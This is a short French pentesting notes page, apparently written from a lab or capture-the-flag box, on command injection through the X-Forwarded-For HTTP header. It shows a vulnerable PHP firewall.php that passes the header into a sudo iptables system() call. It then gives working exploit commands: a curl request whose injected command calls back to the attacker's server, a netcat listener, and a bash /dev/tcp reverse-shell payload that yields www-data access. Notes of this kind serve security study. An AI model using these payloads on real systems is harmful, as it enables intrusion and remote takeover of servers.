> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/http-header-command-injection/http-header-command-injection-x-forwarded-for-pentesting-web.md).
# Injection de commandes X-Forwarded-For
Si nous observons le fichier `firewall.php`, nous remarquons qu’il récupère l’en-tête `HTTP_X_FORWARDED_FOR` et l’utilise avec `sudo` pour exécuter une commande :
```php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
};
system("sudo /usr/sbin/iptable -A INPUT -s " . $ip . " -j ACCEPT");
?>
```
Étant donné que cette variable est contrôlable via une requête HTTP, nous pouvons injecter une commande arbitraire. **erxploitation** Parce qu’il s’agit d’un en-tête HTTP, nous pouvons injecter une commande, par exemple en utilisant `curl` pour contacter notre serveur web. **Configuration du serveur web :**
```bash
python3 -m http.server 80
```
**Injection de commande avec `curl`:**
{% code overflow="wrap" %}
```bash
curl -X GET -H 'X-FORWARDED-FOR: ;curl http://10.10.14.47/test;' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```
{% endcode %}
**Shell inversé** **À l'écoute sur le port 443 :**
```bash
nc -nlvp 443
```
**Commande pour obtenir un shell à distance :**
{% code overflow="wrap" %}
```bash
curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >&/dev/tcp/10.10.14.47/443 0>&1";' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```
{% endcode %}
Une fois connecté, nous sommes l’utilisateur `www-data`.
---
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